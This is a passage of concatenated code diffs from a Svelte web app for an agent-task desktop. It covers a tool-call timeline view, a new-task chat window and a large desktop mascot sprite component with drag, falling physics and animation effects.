<div transition:slide={{ duration: 150 }} class="flex flex-col">
{#each item.tools as tool (tool.id)}
{@const tOpen = expandedTools.has(tool.id)}
<div class="relative" data-tl-id={tool.id}>
<!-- Branch stub: backbone → tool -->
<span class="pointer-events-none absolute left-[17px] top-[9.5px] h-px w-[17px] {tool.status === 'failed' ? 'bg-destructive/40' : 'bg-border'}" aria-hidden="true"></span>
<button
type="button"
class="flex w-full items-center gap-1.5 py-1 pl-9 pr-3 text-left text-[11px] {(tool.args || tool.detail) ? 'cursor-pointer hover:bg-muted/20' : 'cursor-default'}"
onclick={() => (tool.args || tool.detail) && toggleTool(tool.id)}
>
<span class="flex size-3 shrink-0 items-center justify-center">
{#if tool.status === 'running'}
<Spinner class="size-2.5 text-primary" />
{:else if tool.status === 'failed'}
<XIcon class="size-2.5 text-destructive" strokeWidth={3.5} />
{:else}
<CheckIcon class="size-2.5 text-primary/70" strokeWidth={3.5} />
{/if}
</span>
<span title={tool.description} class="min-w-0 flex-1 truncate leading-snug {tool.status === 'done' ? 'text-muted-foreground' : tool.status === 'failed' ? 'text-destructive' : 'text-foreground/80'}">
{tool.description}
</span>
<span class="shrink-0 text-[9px] tabular-nums text-muted-foreground/50">{hhmm(tool.timestamp)}</span>
</button>
{#if tOpen}
<div transition:slide={{ duration: 120 }} class="flex flex-col gap-1 pb-1.5 pl-[52px] pr-3">
<div class="flex items-center gap-1.5 text-[9px] text-muted-foreground/70">
<span class="capitalize">{tool.status}</span>
<span aria-hidden="true">·</span>
<span>{hhmmss(tool.timestamp)}</span>
{#if tool.toolName}<span aria-hidden="true">·</span><code class="font-mono">{tool.toolName}</code>{/if}
</div>
{#if tool.args}
<pre class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed text-muted-foreground">{prettyPrint(tool.args)}</pre>
{/if}
{#if tool.detail}
<pre class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed {tool.status === 'failed' ? 'text-destructive' : 'text-muted-foreground'}">{prettyPrint(tool.detail)}</pre>
{/if}
</div>
{/if}
</div>
{/each}
</div>
{/if}
</div>
{:else}
<!-- Flat entry: milestone marker on the backbone -->
{@const e = item.entry}
{@const Icon = entryIcon(e)}
{@const eOpen = expandedTools.has(e.id)}
<div class="relative" data-tl-id={e.id}>
<span class="pointer-events-none absolute left-[17px] w-px {segClass(e.status, isFirst, isLast, false)}" aria-hidden="true"></span>
<button
type="button"
class="flex w-full items-center gap-2 px-3 py-1.5 text-left text-[11px] {(e.args || e.detail) ? 'cursor-pointer hover:bg-muted/30' : 'cursor-default'}"
onclick={() => (e.args || e.detail) && toggleTool(e.id)}
>
<span class="relative z-10 flex size-3.5 shrink-0 items-center justify-center rounded-full border bg-background
{e.status === 'failed' ? 'border-destructive text-destructive' : e.status === 'running' ? 'border-primary text-primary' : 'border-border text-primary'}">
{#if e.status === 'running'}
<Spinner class="size-2.5" />
{:else if e.status === 'failed'}
<XIcon class="size-2" strokeWidth={3.5} />
{:else}
<Icon class="size-2" strokeWidth={2.5} />
{/if}
</span>
<span title={e.description} class="min-w-0 flex-1 truncate leading-snug {e.status === 'done' ? 'text-muted-foreground' : 'text-foreground/80'}">
{e.description}
</span>
<span class="shrink-0 text-[9px] tabular-nums text-muted-foreground/60">{hhmm(e.timestamp)}</span>
</button>
{#if eOpen}
<div transition:slide={{ duration: 120 }} class="flex flex-col gap-1 pb-1.5 pl-9 pr-3">
<div class="flex items-center gap-1.5 text-[9px] text-muted-foreground/70">
<span class="capitalize">{e.status}</span>
<span aria-hidden="true">·</span>
<span>{hhmmss(e.timestamp)}</span>
{#if e.toolName}<span aria-hidden="true">·</span><code class="font-mono">{e.toolName}</code>{/if}
</div>
{#if e.args}
<pre class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed text-muted-foreground">{prettyPrint(e.args)}</pre>
{/if}
{#if e.detail}
<pre class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed {e.status === 'failed' ? 'text-destructive' : 'text-muted-foreground'}">{prettyPrint(e.detail)}</pre>
{/if}
</div>
{/if}
</div>
{/if}
{/each}
</div>
{/if}
</div>
</div>

View File

@@ -14,6 +14,7 @@
import TaskLauncher from './TaskLauncher.svelte'
import WindowLayer from './WindowLayer.svelte'
import Taskbar from './Taskbar.svelte'
import MascotLayer from '$lib/mascot/MascotLayer.svelte'
import LayersIcon from '@lucide/svelte/icons/layers'
import Rows3Icon from '@lucide/svelte/icons/rows-3'
import MonitorIcon from '@lucide/svelte/icons/monitor'
@@ -100,6 +101,8 @@
</div>
<WindowLayer />
<MascotLayer />
</div>
<Taskbar />

View File

@@ -0,0 +1,29 @@
<script lang="ts">
// Content for the "new-task" window slot (windows.ts openNewTaskWindow) —
// a real ChatThread in its empty state rather than a separate compose
// screen, so starting a task looks and feels exactly like the task chat
// it becomes. Submitting the first message starts the task via
// startTask() and hands off to the real session window (see windows.ts's
// openTaskWindow) the moment the backend assigns an id.
import { startTask } from '$lib/stores/chat'
import { openTaskWindow, wm, NEW_TASK_WINDOW_ID } from '$lib/stores/windows'
import { truncateMiddle } from '$lib/utils'
import ChatThread from '$lib/components/ChatThread.svelte'
function onSend(text: string) {
startTask(text, (sessionId) => {
openTaskWindow(sessionId, truncateMiddle(text, 60))
wm.close(NEW_TASK_WINDOW_ID)
})
}
</script>
<ChatThread
messages={[]}
streaming={false}
connectionState="connected"
onSend={onSend}
onCancel={() => {}}
onReconnect={() => {}}
onDismissError={() => {}}
/>

View File

@@ -50,7 +50,7 @@
onkeydown={handleKeydown}
placeholder="e.g. Roll the staging database back to last night's snapshot and verify the app is healthy…"
rows={compact ? 2 : 3}
class="max-h-52 min-h-24 resize-none border-0 bg-transparent px-4 py-3.5 text-base shadow-none focus-visible:ring-0"
class="max-h-52 min-h-24 resize-none field-sizing-fixed border-0 bg-transparent px-4 py-3.5 text-base shadow-none focus-visible:ring-0"
/>
<div class="flex items-center justify-between px-3 pb-3">
<span class="text-[11px] text-muted-foreground">Enter to start · Shift+Enter for newline</span>

View File

@@ -7,19 +7,17 @@
// wmPersist in windows.ts) need no extra bookkeeping to know what to render:
// app:<id> -> registry component (windows.ts openAppWindow)
// session:<id> -> SessionChatWindow (windows.ts openTaskWindow)
// new-task -> TaskLauncher (windows.ts openNewTaskWindow)
// new-task -> NewTaskChat (windows.ts openNewTaskWindow)
// anything else -> entity slug -> EntityDetailContent
import { wm, dk, wmState, openEntityWindow, NEW_TASK_WINDOW_ID } from '$lib/stores/windows'
import { wm, dk, wmState, openEntityWindow, NEW_TASK_WINDOW_ID, SESSION_PREFIX } from '$lib/stores/windows'
import { appById, appIdFromWindowId } from '$lib/apps'
import EntityDetailContent from '../EntityDetailContent.svelte'
import SessionChatWindow from '../SessionChatWindow.svelte'
import TaskLauncher from './TaskLauncher.svelte'
import NewTaskChat from './NewTaskChat.svelte'
import XIcon from '@lucide/svelte/icons/x'
import MinusIcon from '@lucide/svelte/icons/minus'
import Maximize2Icon from '@lucide/svelte/icons/maximize-2'
const SESSION_PREFIX = 'session:'
// A hydrated `app:<id>` window whose id no longer matches any registry
// entry (the app was renamed/removed since the layout was persisted) has
// nothing to render — close it rather than leaving a permanently-blank
@@ -73,9 +71,7 @@
{#if id.startsWith(SESSION_PREFIX)}
<SessionChatWindow sessionId={id.slice(SESSION_PREFIX.length)} />
{:else if id === NEW_TASK_WINDOW_ID}
<div class="flex h-full items-center justify-center p-6">
<TaskLauncher onStarted={() => wm.close(NEW_TASK_WINDOW_ID)} />
</div>
<NewTaskChat />
{:else if app}
<app.component />
{:else}

View File

@@ -0,0 +1,887 @@
<script lang="ts">
// The desktop mascot sprite: a small canvas that renders the current
// animation frame at ~30fps (via setTimeout, not rAF — matches
// GraphBackground.svelte's convention for hidden-tab embedding safety),
// and handles pointer drag, plain-click (pet), and right-click (open
// the radial menu). Position/physics live in MascotRuntime, owned
// here; long-lived tamagotchi state lives in state.svelte.ts.
//
// The mascot renders above the window layer (z-45 via MascotLayer) but
// its pointer hitbox is exactly the canvas element — no oversized
// invisible padding — so it only occludes clicks on window chrome
// directly beneath the sprite, per the "renders above windows" design
// decision in plans/2026-07-20-desktop-mascot.md.
import { onMount } from 'svelte'
import { loadSprites, resolveAnim, frameIndex, STAGE_SCALE } from '$lib/mascot/sprites'
import { drawFrame, CANVAS_W, CANVAS_H } from '$lib/mascot/render'
import {
stepMascot,
forceBehavior,
releaseFromDrag,
reground
} from '$lib/mascot/behavior'
import type { MascotRuntime, MascotStage, AnimName } from '$lib/mascot/types'
import {
initMascotState,
getModel,
tickLifecycle,
advanceStageIfReady,
setLastPos,
pet as modelPet
} from '$lib/mascot/state.svelte'
import { wmState } from '$lib/stores/windows'
import { getIconPositions, iconPixelPos, GRID } from '$lib/stores/icons'
import { APPS, type AppDef } from '$lib/apps'
// MascotRuntime is created fresh per mount; the long-lived MascotModel
// (with lastPos, stage, name, ...) persists across mounts via localStorage.
// `runtime` is $bindable(): this component mutates it constantly (every
// tick, every pointer event) rather than treating it as read-only input,
// which Svelte 5 flags as an "ownership_invalid_mutation" dev warning
// unless the prop is declared bindable and the parent uses bind:runtime.
let {
runtime = $bindable(),
onContextMenu,
onPet,
onRequestName
}: {
runtime: MascotRuntime
onContextMenu: (screenX: number, screenY: number) => void
onPet: () => void
/** Called on a plain click while the mascot is a not-yet-named egg — reopens the naming dialog (see NameDialog's Escape-dismiss). */
onRequestName: () => void
} = $props()
const SCALE_PX = 3 // CSS scale: 20 logical px * 3 = 60px sprite
const DRAG_THRESHOLD = 5
// Ground tracking (see behavior.ts's comment block for the fuller
// rationale): a small per-tick ground change (a window being dragged
// smoothly, with the mascot riding along) follows instantly; a bigger
// drop hands off to `falling` instead of snapping the mascot's position.
const GROUND_FOLLOW_MAX_STEP = 6 // px/tick the mascot may instantly follow a rising/shifting ground
const GROUND_DROP_FALL_PX = 12 // px — a ground drop bigger than this triggers falling, not a snap
// A window is only a ground candidate if its top is at/below the
// mascot's CURRENT position (a downward raycast from where it stands) —
// otherwise a window opening/moving anywhere in its column, even one
// that never gets near it, would yank it upward onto that window's top.
const GROUND_CANDIDATE_EPSILON = 4
// Toss momentum: a short rolling window of recent pointer-move samples
// during a drag, used to derive a release velocity (onPointerUp) instead
// of always dropping straight down from wherever the pointer let go.
const VELOCITY_WINDOW_MS = 120
const TOSS_MAX_VX = 900 // px/s
const TOSS_MAX_UPWARD_VY = 700 // px/s (a hard upward flick can toss it up a bit before gravity wins)
const TOSS_MAX_DOWNWARD_VY = 400 // px/s (don't let a fast downward fling outrun the fall's own gravity feel)
// 60fps for the sprite loop: the mascot has faster motion (drag, fall)
// than GraphBackground's slow ambient drift, and 30fps position updates
// look choppy on 60Hz+ displays. setTimeout (not rAF) per the repo
// convention — some embedding contexts report document.hidden=true and
// suspend rAF; setTimeout keeps ticking. dt is clamped below so a
// throttled/backgrounded tab doesn't produce a physics-breaking huge
// step on resume.
const LOOP_MS = 16
const DT_CLAMP_MS = 100
const LIFECYCLE_TICK_MS = 1000
// ── Juice (render-layer feel) ────────────────────────────────────────
// None of this touches the physics state — it only reshapes how the
// physics READS on screen. Computed each tick into the juice* $state
// below and composed into the sprite's CSS transform / drawn onto the
// canvas:
// - Squash-and-stretch: a damped-spring squash on every ground impact
// (depth scaled by impactVy), plus an in-air stretch proportional
// to fall speed (volume roughly preserved: sx opposes sy).
// - Air tilt: the sprite leans into horizontal motion while falling,
// being dragged, or skidding.
// - Walk bob: a small vertical step bounce while wandering.
// - Feather poof: a burst of tiny pixels on hard impacts.
const SPRING_WINDOW_S = 0.45 // how long the impact squash spring oscillates
const SPRING_FREQ_HZ = 3
const SPRING_DECAY = 6.5
const MAX_SQUASH_DEPTH = 0.32
const POOF_MIN_VY = 280 // impact speed below which no feather/dust poof spawns
const FEATHER_GRAVITY = 550 // px/s^2 — floaty, lighter than the mascot
const FEATHER_TINTS = ['#ffffff', '#fef3c7', '#fde68a']
let canvas = $state<HTMLCanvasElement | null>(null)
let ctx2d: CanvasRenderingContext2D | null = null
let timer: ReturnType<typeof setTimeout> | 0 = 0
let lastFrame = 0
let lastLifecycle = 0
let dragging = $state(false)
let dragPointerId: number | null = null
let dragStartClient = { x: 0, y: 0 }
let moved = false
// Recent pointer-move samples during a drag (surface coords + timestamp),
// trimmed to the last VELOCITY_WINDOW_MS — used to derive a release
// (toss) velocity in onPointerUp.
let dragSamples: { t: number; x: number; y: number }[] = []
// Wiggle phase for the egg (render-time only, not persisted).
let wigglePhase = 0
// Juice render state, recomputed every tick (see the constants above).
let juiceSx = $state(1)
let juiceSy = $state(1)
let juiceTilt = $state(0) // deg
let juiceBob = $state(0) // px, <= 0 (raises the sprite)
let lastDtMs = 16 // last tick's dt, reused by the feather integrator in renderSprite
// Feather-poof particles: plain array, integrated + painted imperatively
// on the canvas (no reactivity needed). Positions are surface coords so
// the poof hangs where the impact happened, not on the sprite.
interface Feather {
x: number
y: number
vx: number
vy: number
born: number
life: number
size: number
tint: string
}
let feathers: Feather[] = []
let lastSquashAt = 0 // last squashAt we spawned a poof for
// Snapshot of the current window manager state, refreshed by
// subscription. Read inside the tick to compute the ground line at the
// mascot's x — the highest non-minimized window top edge beneath it,
// or the surface bottom when no window is beneath.
let currentWindows: typeof $wmState = { order: [], windows: {}, focusedId: null }
// Previous ground y, used to detect when the window beneath the
// mascot moved so the mascot can ride along (stick to the ground)
// instead of floating in place while the window drifts out from
// under it.
let prevGroundY = 0
const model = $derived(getModel())
function stage(): MascotStage {
return model.stage
}
/**
* Compute the ground line at the mascot's x: the top edge (y) of the
* NEAREST non-minimized window whose horizontal span covers the
* mascot's x AND whose top is at/below the mascot's current position —
* i.e. a downward raycast from where it's standing, not "the topmost
* window anywhere in this column." Without the vertical check, a window
* opening or moving anywhere above the mascot (even with empty space
* between its underside and the mascot) would be picked as ground and
* the ride-along logic in tick() would yank the mascot up onto it
* instantly — this was a confirmed bug (see
* plans/2026-07-20-mascot-physics-audit.md, Finding 1 case B).
* Falls back to the surface bottom (bounds.h) when nothing qualifies.
* This is what lets the mascot walk ON TOP of windows — when it strolls
* over one, the ground rises to its top edge; when it walks off the
* side (or the window moves/closes), the ground drops and tick()'s
* chase logic hands off to a real `falling` behavior.
*/
function computeGroundAt(x: number): number {
let ground = runtime.bounds.h
for (const id of currentWindows.order) {
const win = currentWindows.windows[id]
if (!win || win.stage === 'minimized') continue
const b = win.bounds
// Window top edge counts as ground only if the mascot's x is
// within the window's horizontal span (with a small margin so the
// mascot doesn't immediately fall off the very corner)...
const inSpan = x >= b.x - 4 && x <= b.x + b.width + 4
// ...AND the window's top is at/below where the mascot currently
// is (it's a real surface underfoot, not a window floating above
// with a gap beneath it).
const atOrBelow = b.y >= runtime.y - GROUND_CANDIDATE_EPSILON
if (inSpan && atOrBelow && b.y < ground) {
ground = b.y
}
}
return ground
}
function currentAnim(): { anim: ReturnType<typeof resolveAnim>; name: AnimName } {
const name = runtime.anim
return { anim: resolveAnim(stage(), name), name }
}
// Icon investigate: drop the mascot on a desktop icon and it reacts —
// see onPointerUp's drag-release branch, which checks this against the
// release position and, if it hits, shows the line below and sets
// runtime.investigateOnLand so the next landing pecks instead of idling.
const ICON_INVESTIGATE_LINES: Record<string, string> = {
tasks: '📋 Tasks!',
kb: '🗂️ Ooh, data!',
ops: '🛡️ All clear?',
signals: '📡 Anything new?',
knowledge: '🔍 Curious…',
learning: '📈 Growing!',
settings: '⚙️ Tinkering?'
}
const ICON_INVESTIGATE_FALLBACK = '👀 Ooh!'
/** Which desktop-icon app (if any) the given surface coords land on, using the same grid DesktopIcon.svelte renders with. */
function iconAt(x: number, y: number): AppDef | null {
const positions = getIconPositions()
for (const app of APPS) {
const pos = positions[app.id] ?? { col: 0, row: 0 }
const { x: ix, y: iy } = iconPixelPos(pos)
if (x >= ix && x <= ix + GRID.cell && y >= iy && y <= iy + GRID.cell) return app
}
return null
}
function tick(now: number): void {
const dt = Math.min(DT_CLAMP_MS, now - lastFrame)
lastFrame = now
// Refresh the ground line at the mascot's current x — this is what
// lets the mascot walk on top of windows (the ground rises to a
// window's top edge when the mascot strolls over it).
const newGround = computeGroundAt(runtime.x)
// Chase the ground when grounded (not already falling/dragged):
// - if it dropped away by more than GROUND_DROP_FALL_PX (a window
// closed, moved out from under the mascot, or it walked off an
// edge), hand off to a real `falling` behavior instead of snapping
// — this was Finding 1 in the physics audit: the mascot used to
// teleport straight to the new ground with zero animation.
// - otherwise, step toward the new ground by at most
// GROUND_FOLLOW_MAX_STEP per tick. A window being dragged smoothly
// moves only a few px/tick, so this still reads as an instant,
// solid "ride along"; anything bigger (a window snapping to a new
// position, a resize) catches up over a couple of frames instead
// of jumping.
if (runtime.behavior !== 'falling' && runtime.behavior !== 'dragged' && runtime.behavior !== 'hop') {
if (newGround - prevGroundY > GROUND_DROP_FALL_PX && runtime.y >= prevGroundY - 1) {
forceBehavior(runtime, 'falling')
} else if (runtime.y !== newGround) {
const diff = newGround - runtime.y
runtime.y += Math.abs(diff) <= GROUND_FOLLOW_MAX_STEP ? diff : Math.sign(diff) * GROUND_FOLLOW_MAX_STEP
}
}
runtime.groundY = newGround
prevGroundY = newGround
stepMascot(runtime, model, now, dt)
lastDtMs = dt
updateJuice(now, dt)
// Reaction bubble expiry: the bubble is a real DOM element now (see
// the template), driven reactively by bubbleText/bubbleUntil — this
// is the one place that clears it once its time is up.
if (runtime.bubbleText && now >= runtime.bubbleUntil) {
runtime.bubbleText = null
runtime.bubbleUntil = 0
}
// Typewriter advance (the reset on line change lives in an effect —
// see the "Speech-bubble feel" block below).
if (runtime.bubbleText && typedLen < bubbleLen) {
const perChar = Math.min(TYPE_CHAR_MS, TYPE_MAX_MS / bubbleLen)
typedLen = Math.min(bubbleLen, typedLen + dt / perChar)
}
// Lifecycle (egg incubation, happiness decay) ticks ~1x/sec, not per frame.
if (lastLifecycle === 0) lastLifecycle = now
if (now - lastLifecycle >= LIFECYCLE_TICK_MS) {
tickLifecycle(now - lastLifecycle)
lastLifecycle = now
advanceStageIfReady()
// If the egg just hatched, swap the runtime behavior out of 'egg'
// (the egg behavior's next() returns 'egg' forever, so we have to
// nudge it here). The NameDialog is opened by MascotLayer observing
// the stage change.
if (model.stage !== 'egg' && runtime.behavior === 'egg') {
forceBehavior(runtime, 'idle')
}
}
}
/**
* Recompute the render-layer feel (see the "Juice" constants above):
* the impact squash spring / in-air stretch, the air tilt, the walk
* bob, and the feather-poof spawn. Runs every tick, after stepMascot,
* so it always reads the freshest physics state. Pure render layer —
* it never writes back into the physics.
*/
function updateJuice(now: number, dt: number): void {
// Squash-and-stretch. The spring wins near an impact; otherwise an
// airborne body stretches along its motion.
const st = (now - runtime.squashAt) / 1000
if (runtime.squashAt > 0 && st < SPRING_WINDOW_S) {
const depth = Math.min(MAX_SQUASH_DEPTH, runtime.impactVy / 1100)
const s = depth * Math.exp(-SPRING_DECAY * st) * Math.cos(st * Math.PI * 2 * SPRING_FREQ_HZ)
juiceSx = 1 + s * 0.75
juiceSy = 1 - s
} else if (runtime.behavior === 'falling' || runtime.behavior === 'hop') {
const stretch = Math.min(0.15, Math.abs(runtime.vy) / 1600)
juiceSx = 1 - stretch * 0.6
juiceSy = 1 + stretch
} else {
juiceSx = 1
juiceSy = 1
}
// Air tilt: lean into horizontal motion (falling toss, mid-drag swing,
// landing skid). Smoothed so it eases in/out instead of snapping.
let tiltTarget = 0
if (runtime.behavior === 'falling') {
tiltTarget = Math.max(-14, Math.min(14, runtime.vx * 0.02))
} else if (runtime.behavior === 'dragged' && moved && dragSamples.length > 1) {
tiltTarget = Math.max(-16, Math.min(16, tossVelocity().vx * 0.018))
} else if (runtime.behavior === 'land') {
tiltTarget = Math.max(-8, Math.min(8, runtime.vx * 0.012))
}
juiceTilt += (tiltTarget - juiceTilt) * Math.min(1, dt / 110)
// Walk bob: two footsteps per walk-anim loop (4 frames @ 8fps = 500ms).
juiceBob =
runtime.behavior === 'wander' ? -Math.abs(Math.sin((now * Math.PI) / 250)) * 1.5 : 0
// Feather poof: a new, hard-enough impact spawns a burst at the feet.
if (runtime.squashAt !== lastSquashAt) {
lastSquashAt = runtime.squashAt
if (runtime.impactVy >= POOF_MIN_VY) spawnFeathers(runtime.impactVy)
}
}
/** Burst of tiny feather/dust pixels at the mascot's feet; count scales with impact speed. */
function spawnFeathers(impact: number): void {
const n = Math.min(9, 4 + Math.floor(impact / 90))
const now = performance.now()
for (let i = 0; i < n; i++) {
feathers.push({
x: runtime.x + (Math.random() - 0.5) * 8,
y: runtime.y - Math.random() * 2,
vx: (Math.random() - 0.5) * 140,
vy: -(40 + Math.random() * 120),
born: now,
life: 450 + Math.random() * 300,
size: Math.random() < 0.5 ? 1 : 2,
tint: FEATHER_TINTS[Math.floor(Math.random() * FEATHER_TINTS.length)]
})
}
}
function renderSprite(): void {
if (!canvas || !ctx2d) return
const now = performance.now()
// Egg wobble: only when stage is egg and behavior isn't dragged/react.
const isEgg = stage() === 'egg'
if (isEgg && runtime.behavior !== 'dragged') {
wigglePhase += 0.08
} else {
wigglePhase = 0
}
const { anim } = currentAnim()
const idx = frameIndex(anim, now, runtime.animStart)
const scale = STAGE_SCALE[stage()]
drawFrame(ctx2d, stage(), anim, idx, {
scale,
facing: runtime.facing,
wiggle: wigglePhase
})
// Feather poof: integrate + paint after the sprite frame (drawFrame
// clears the canvas each frame). Canvas coords: the sprite's feet are
// at (CANVAS_W/2, CANVAS_H), so a particle's offset from the mascot is
// all that's needed — the canvas itself is positioned at the mascot.
if (feathers.length > 0) {
const dtS = lastDtMs / 1000
feathers = feathers.filter((f) => now - f.born < f.life)
for (const f of feathers) {
f.vy += FEATHER_GRAVITY * dtS
f.vx *= Math.max(0, 1 - 2.5 * dtS)
f.x += f.vx * dtS
f.y += f.vy * dtS
ctx2d.globalAlpha = Math.max(0, 1 - (now - f.born) / f.life)
ctx2d.fillStyle = f.tint
ctx2d.fillRect(
Math.round(CANVAS_W / 2 + (f.x - runtime.x)),
Math.round(CANVAS_H - (runtime.y - f.y)),
f.size,
f.size
)
}
ctx2d.globalAlpha = 1
}
}
// Single loop: tick physics + draw sprite + reschedule. (The previous
// version had `loop` reschedule itself AND call `draw` which also
// rescheduled itself — two timers fought over the shared `timer` var,
// causing jitter.)
function loop(): void {
timer = setTimeout(loop, LOOP_MS)
const now = performance.now()
tick(now)
renderSprite()
}
function onPointerDown(e: PointerEvent) {
if (e.button !== 0) return
const el = e.currentTarget as HTMLElement
dragPointerId = e.pointerId
dragStartClient = { x: e.clientX, y: e.clientY }
moved = false
dragSamples = []
el.setPointerCapture(e.pointerId)
forceBehavior(runtime, 'dragged')
dragging = true
}
function onPointerMove(e: PointerEvent) {
if (dragPointerId !== e.pointerId) return
const dx = e.clientX - dragStartClient.x
const dy = e.clientY - dragStartClient.y
if (!moved && Math.hypot(dx, dy) > DRAG_THRESHOLD) moved = true
if (moved) {
// Surface-relative coords: the sprite container is positioned at the
// surface origin, so clientX/Y - surfaceRect gives surface coords.
// MascotLayer binds the host's bounding rect; we read it fresh here.
const host = (e.currentTarget as HTMLElement).parentElement?.parentElement
const rect = host?.getBoundingClientRect()
if (rect) {
runtime.x = Math.max(0, Math.min(rect.width, e.clientX - rect.left))
runtime.y = Math.max(0, Math.min(rect.height, e.clientY - rect.top))
const t = performance.now()
dragSamples.push({ t, x: runtime.x, y: runtime.y })
while (dragSamples.length > 1 && t - dragSamples[0].t > VELOCITY_WINDOW_MS) dragSamples.shift()
}
}
}
/** Derive a release (toss) velocity from the last VELOCITY_WINDOW_MS of drag samples. */
function tossVelocity(): { vx: number; vy: number } {
if (dragSamples.length < 2) return { vx: 0, vy: 0 }
const first = dragSamples[0]
const last = dragSamples[dragSamples.length - 1]
const dt = (last.t - first.t) / 1000
if (dt < 0.01) return { vx: 0, vy: 0 }
const vx = Math.max(-TOSS_MAX_VX, Math.min(TOSS_MAX_VX, (last.x - first.x) / dt))
const rawVy = (last.y - first.y) / dt
const vy = rawVy < 0 ? Math.max(-TOSS_MAX_UPWARD_VY, rawVy) : Math.min(TOSS_MAX_DOWNWARD_VY, rawVy)
return { vx, vy }
}
/**
* Release capture and clear drag-tracking state. Split out from
* onPointerUp so onPointerCancel and the window-level fallback below can
* share it — every path that ends a drag needs to do this exact
* cleanup, or the mascot is left stuck in `dragged` forever.
*/
function endDragTracking(pointerId: number, el?: HTMLElement | null): void {
if (el?.hasPointerCapture?.(pointerId)) el.releasePointerCapture(pointerId)
dragPointerId = null
dragging = false
}
function onPointerUp(e: PointerEvent) {
if (dragPointerId !== e.pointerId) return
if (!moved) {
// An unnamed egg (e.g. the naming dialog was Escaped away) has no
// real pet reaction yet — reopen the naming prompt instead so it's
// never stuck un-hatchable without a reload/debug action.
if (stage() === 'egg' && model.name === null) {
dragSamples = []
endDragTracking(e.pointerId, e.currentTarget as HTMLElement)
onRequestName()
return
}
// Plain click = pet: a brief happy reaction with a heart bubble.
modelPet()
onPet()
runtime.bubbleText = '❤️'
runtime.bubbleUntil = performance.now() + 1500
forceBehavior(runtime, 'react', { anim: 'react-happy', durationMs: 1500 })
} else {
// Drag ended — derive a toss velocity from the recent pointer
// motion and release into falling (or land, if already grounded).
setLastPos(runtime.x)
const { vx, vy } = tossVelocity()
runtime.vx = vx
runtime.vy = vy
// Dropped on a desktop icon? Show an "investigate" bubble right
// away (works whether it's about to fall or is already grounded)
// and flag the next landing to peck instead of idle — see the
// `land` BehaviorDef in behavior.ts.
if (stage() !== 'egg') {
const app = iconAt(runtime.x, runtime.y)
if (app) {
runtime.bubbleText = ICON_INVESTIGATE_LINES[app.id] ?? ICON_INVESTIGATE_FALLBACK
runtime.bubbleUntil = performance.now() + 1800
runtime.investigateOnLand = true
modelPet()
}
}
releaseFromDrag(runtime)
}
dragSamples = []
endDragTracking(e.pointerId, e.currentTarget as HTMLElement)
}
/**
* The browser aborts a pointer interaction (fires `pointercancel`
* instead of `pointerup`) in several real situations: the pointer
* leaves the window fast enough that the OS/browser interprets it as a
* different gesture, a touch/stylus is force-cancelled, or something
* else takes over pointer capture. Without handling this, the mascot
* gets stuck in the `dragged` behavior forever — no more pointerup is
* coming, so nothing else would ever reset dragPointerId/dragging. This
* was the "dragging sometimes doesn't release" bug. There's no reliable
* release gesture to derive a toss from here, so it just falls/lands
* from wherever it was, same as a still-mid-air drag release with no
* velocity.
*/
function onPointerCancel(e: PointerEvent) {
if (dragPointerId !== e.pointerId) return
dragSamples = []
runtime.vx = 0
runtime.vy = 0
releaseFromDrag(runtime)
endDragTracking(e.pointerId, e.currentTarget as HTMLElement)
}
/**
* Defense-in-depth fallback: if for any reason the canvas's own
* pointerup/pointercancel above doesn't fire (pointer capture should
* guarantee it does, but "should" isn't "always" across browsers/
* embeddings), this window-level catch-all still ends the drag. Safe to
* have both — pointer capture redirects the *target* of the event, not
* its bubbling, so a canvas-handled pointerup also reaches window; by
* then dragPointerId is already cleared, so this is a no-op in the
* normal case.
*/
function onWindowPointerEnd(e: PointerEvent) {
if (dragPointerId !== e.pointerId) return
dragSamples = []
runtime.vx = 0
runtime.vy = 0
releaseFromDrag(runtime)
endDragTracking(e.pointerId, canvas)
}
function handleContextMenu(e: MouseEvent) {
e.preventDefault()
e.stopPropagation()
onContextMenu(e.clientX, e.clientY)
}
function syncCanvasSize() {
if (!canvas) return
canvas.width = CANVAS_W
canvas.height = CANVAS_H
ctx2d = canvas.getContext('2d')
if (ctx2d) ctx2d.imageSmoothingEnabled = false
}
onMount(async () => {
initMascotState()
syncCanvasSize()
await loadSprites()
lastFrame = performance.now()
lastLifecycle = 0
// Seed prevGroundY so the first tick's ride-the-ground delta is zero
// (otherwise the mascot would snap to the ground on mount if it
// started above it — e.g. an egg at the surface bottom).
runtime.groundY = computeGroundAt(runtime.x)
prevGroundY = runtime.groundY
loop()
// Re-ground on surface resize (viewport resize, taskbar height changes).
const host = canvas?.parentElement?.parentElement
let prevH = runtime.bounds.h
const ro = new ResizeObserver(() => {
const rect = host?.getBoundingClientRect()
if (rect) {
const newH = rect.height
runtime.bounds = { w: rect.width, h: newH }
reground(runtime, prevH)
prevH = newH
}
})
if (host) ro.observe(host)
// Track the window manager's state so computeGroundAt() can find the
// highest window beneath the mascot's x each tick — this is what lets
// the mascot walk on top of windows rather than always falling to the
// desktop surface bottom.
const unsubWm = wmState.subscribe((s) => {
currentWindows = s
})
return () => {
if (timer) clearTimeout(timer)
ro.disconnect()
unsubWm()
}
})
// The sprite's CSS position uses bottom-left anchored coords from
// MascotRuntime: x = sprite bottom-center, y = sprite bottom. We
// position via `transform: translate3d` (compositor-friendly, no
// layout reflow) rather than `left`/`top` so motion stays smooth at
// high refresh rates. Composed on top of the translation are the juice
// channels (see updateJuice): the squash-and-stretch impact spring /
// in-air stretch (scale), the air tilt (rotate), and the walk bob
// (added to ty). transform-origin is bottom center, so squashes and
// tilts pivot at the feet.
//
// `ty` is clamped to >= 0: the canvas reserves headroom above the
// sprite for the reaction bubble, and when the mascot's ground is near
// the top of the viewport (e.g. standing on a freshly-opened window),
// that headroom would otherwise push the canvas — and the name label
// above it — partly off-screen. This only affects the *rendered*
// position; runtime.y (the physics/ground line) is untouched, so it's a
// display-only fix, not a physics change (see the physics audit's
// Finding 4).
const tx = $derived(runtime.x - (CANVAS_W * SCALE_PX) / 2)
const ty = $derived(Math.max(0, runtime.y - CANVAS_H * SCALE_PX))
// The canvas (CANVAS_H=28 logical px) is taller than the sprite frame
